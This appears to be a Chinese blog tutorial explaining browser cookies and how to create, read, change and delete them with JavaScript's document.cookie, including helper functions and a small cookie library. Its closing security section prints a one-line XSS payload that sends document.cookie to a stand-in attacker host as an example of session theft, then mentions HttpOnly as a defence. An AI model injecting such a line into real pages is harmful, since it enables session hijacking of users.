cookie详解
1 什么是Cookie
Cookie是一些数据,存储于你电脑上的文本文件中
当 web 服务器向浏览器发送 web 页面时,在连接关闭后,服务端不会记录用户的信息。Cookie 的作用就是用于解决 “如何记录客户端的用户信息”:
- 当用户访问 web 页面时,他的名字可以记录在 cookie 中。
- 在用户下一次访问该页面时,可以在 cookie 中读取用户访问记录。
Cookie 以名/值对形式存储,如下所示:
1 | username = John Doe |
当浏览器从服务器上请求 web 页面时, 属于该页面的 cookie 会被添加到该请求中。服务端通过这种方式来获取用户的信息。
应用:用户登录页面记住密码(本人也是从这里过来的)
2 使用JavaScript操作Cookie
2.1 创建Cookie
JavaScript可以使用document.cookie属性来创建、读取及删除cookie
JavaScript中,创建cookie如下所示
1 | document.cookie = "username=John Doe" |
您还可以为 cookie 添加一个过期时间(以 UTC 或 GMT 时间)。默认情况下,cookie 在浏览器关闭时删除:
1 | document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT" |
您可以使用 path 参数告诉浏览器 cookie 的路径。默认情况下,cookie 属于当前页面。
1 | document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/" |
2.2 使用JavaScript读取Cookie
在JavaScript中,可以使用以下代码读取cookie:
1 | let x = document.cookie |
document.cookie 将以字符串的方式返回所有的 cookie,类型格式: cookie1=value; cookie2=value; cookie3=value;
2.3 使用JavaScript修改Cookie
在JavaScript中,修改cookie类似于创建cookie,如下所示:
1 | document.cookie="username=John Smith; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/" |
2.4 使用JavaScript删除Cookie
删除 cookie 非常简单。只需要设置 expires 参数为以前的时间即可,如下所示,设置为 Thu, 01 Jan 1970 00:00:00 GMT:
1 | document.cookie = “username=; expires=Thu, 01 Jan 1970 00:00:00 GMT”; |
注意,当删除时不必指定 cookie 的值。
3 Cookie字符串
document.cookie 属性看起来像一个普通的文本字符串,其实它不是。
即使在 document.cookie 中写入一个完整的 cookie 字符串, 当重新读取该 cookie 信息时,cookie 信息是以名/值对的形式展示的。
如果设置了新的 cookie,旧的 cookie 不会被覆盖。 新 cookie 将添加到 document.cookie 中,所以如果重新读取document.cookie,将获得如下所示的数据:
1 | cookie1=value |
如果需要查找一个指定 cookie 值,您必须创建一个JavaScript 函数在 cookie 字符串中查找 cookie 值。
4 JavaScript Cookie实例
在以下实例中,将创建 cookie 来存储访问者名称。
首先,访问者访问 web 页面, 他将被要求填写自己的名字。该名字会存储在 cookie 中。
访问者下一次访问页面时,他会看到一个欢迎的消息。
在这个实例中我们会创建 3 个 JavaScript 函数:
- 设置 cookie 值的函数
- 获取 cookie 值的函数
- 检测 cookie 值的函数
4.1 设置 cookie 值的函数
首先,我们创建一个函数用于存储访问者的名字:
1 | function setCookie(cname,cvalue,exdays) { |
函数解析:
以上的函数参数中,cookie 的名称为 cname,cookie 的值为 cvalue,并设置了 cookie 的过期时间 expires。
该函数设置了 cookie 名、cookie 值、cookie过期时间。
4.2 获取 cookie 值的函数
然后,我们创建一个函数用于返回指定 cookie 的值:
1 | function getCookie(cname) { |
函数解析:
cookie 名的参数为 cname。创建一个文本变量用于检索指定 cookie :cname + “=”。
使用分号来分割 document.cookie 字符串,并将分割后的字符串数组赋值给 ca (ca = document.cookie.split(’;’))。循环 ca 数组 (i=0;i<ca.length;i++),然后读取数组中的每个值,并去除前后空格 (c=ca[i].trim())。
如果找到 cookie(c.indexOf(name) == 0),返回 cookie 的值 (c.substring(name.length,c.length)。如果没有找到 cookie, 返回 “”。
4.3 检测 cookie 值的函数
最后,我们可以创建一个检测 cookie 是否创建的函数。
如果设置了 cookie,将显示一个问候信息。
如果没有设置 cookie,将会显示一个弹窗用于询问访问者的名字,并调用 setCookie 函数将访问者的名字存储 365 天:
1 | function checkCookie() { |
4.4 完整示例
1 | function setCookie(cname,cvalue,exdays){ |
5 Document.cookie使用文档+运行实例
获取并设置与当前文档相关联的 cookie。可以把它当成一个 getter and setter。
5.1 语法
读取所有可从此位置访问的Cookie
1 | allCookies = document.cookie; |
在上面的代码中,allCookies被赋值为一个字符串,该字符串包含所有的Cookie,每条cookie以”分号和空格(; )”分隔(即, key=value 键值对)
写一个新 cookie:document.cookie = newCookie
newCookie是一个键值对形式的字符串。需要注意的是,用这个方法一次只能对一个cookie进行设置或更新
以下可选的cookie属性值可以跟在键值对后,用来具体化对cookie的设定/更新,使用分号以作分隔:
;path=path(例如 ‘/’, ‘/mydir’) 如果没有定义,默认为当前文档位置的路径。;domain=domain(例如 ‘example.com’, ‘subdomain.example.com’) 如果没有定义,默认为当前文档位置的路径的域名部分。与早期规范相反的是,在域名前面加 . 符将会被忽视,因为浏览器也许会拒绝设置这样的cookie。如果指定了一个域,那么子域也包含在内。;max-age=max-age-in-seconds(例如一年为606024*365);expires=date-in-GMTString-format如果没有定义,cookie会在对话结束时过期;secure(cookie只通过https协议传输)
cookie的值字符串可以用encodeURIComponent()来保证它不包含任何逗号、分号或空格(cookie值中禁止使用这些值).
备注: 在Gecko 6.0前,被引号括起的路径的引号会被当做路径的一部分,而不是被当做定界符。现在已被修复。
5.2 示例
5.2.1 示例1:简单用法
1 | document.cookie = "name=oeschger"; |
5.2.2 示例2:得到名为test2的cookie
1 | document.cookie = "test1=Hello"; |
5.2.3 示例3:只执行某事一次
要使下面的代码工作,请替换所有someCookieName (cookie的名字)为自定义的名字。
1 | if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { |
6 一个小框架:一个完整支持unicode的cookie读取/写入器
作为一个格式化过的字符串,cookie的值有时很难被自然地处理。下面的库的目的是通过定义一个和Storage对象部分一致的对象(docCookies),简化document.cookie 的获取方法。它提供完全的Unicode支持。
1 | /*\ |
Note: 对于永久cookie我们用了Fri, 31 Dec 9999 23:59:59 GMT作为过期日。如果你不想使用这个日期,可使用世界末日Tue, 19 Jan 2038 03:14:07 GMT,它是32位带符号整数能表示从1 January 1970 00:00:00 UTC开始的最大秒长(即01111111111111111111111111111111, 是 new Date(0x7fffffff * 1e3)).
6.1 写入cookie
语法
1 | docCookies.setItem(name, value[, end[, path[, domain[, secure]]]]) |
描述
创建或覆盖一个cookie
参数
name (必要)
要创建或覆盖的cookie的名字 (string)。
value (必要)
cookie的值 (string)。
end (可选)
最大年龄的秒数 (一年为31536e3, 永不过期的cookie为Infinity) ,或者过期时间的GMTString格式或Date对象; 如果没有定义则会在会话结束时过期 (number – 有限的或 Infinity – string, Date object or null)。
path (可选)
例如 ‘/’, ‘/mydir’。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段。
domain (可选)
例如 ‘example.com’, ‘.example.com’ (包括所有子域名), ‘subdomain.example.com’。如果没有定义,默认为当前文档位置的路径的域名部分 (string或null)。
secure (可选)
cookie只会被https传输 (boolean或null)。
6.2 得到cookie
语法
docCookies.getItem(name)
描述
读取一个cookie。如果cookie不存在返回null。
参数
name:读取的cookie名 (string).
6.3 移除cookie
语法
docCookies.removeItem(name[, path],domain)
描述
删除一个cookie。
参数
name:要移除的cookie名(string).
path (可选)
例如 ‘/’, ‘/mydir’。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段。
domain (可选)
例如 ‘example.com’, ‘.example.com’ (包括所有子域名), ‘subdomain.example.com’。如果没有定义,默认为当前文档位置的路径的域名部分 (string或null)。
6.4 检测cookie
语法
docCookies.hasItem(name)
描述
检查一个cookie是否存在
参数
name:要检查的cookie名 (string).
6.5 得到所有cookie的列表
语法
docCookies.keys()
描述
返回一个这个路径所有可读的cookie的数组。
6.6 示例用法:
1 | docCookies.setItem("test0", "Hello world!"); |
7 安全
路径限制并不能阻止从其他路径访问cookie. 使用简单的DOM即可轻易地绕过限制(比如创建一个指向限制路径的, 隐藏的iframe, 然后访问其 contentDocument.cookie 属性). 保护cookie不被非法访问的唯一方法是将它放在另一个域名/子域名之下, 利用同源策略保护其不被读取
Web应用程序通常使用cookies来标识用户身份及他们的登录会话. 因此通过窃听这些cookie, 就可以劫持已登录用户的会话. 窃听的cookie的常见方法包括社会工程和XSS攻击
1 | (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; |
- HttpOnly 属性可以阻止通过javascript访问cookie, 从而一定程度上遏制这类攻击
- 本文标题:cookie详解
- 本文作者:馨er
- 创建时间:2022-07-11 23:55:27
- 本文链接:https://sjxbbd.vercel.app/2022/07/11/7c11bcdce36f/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!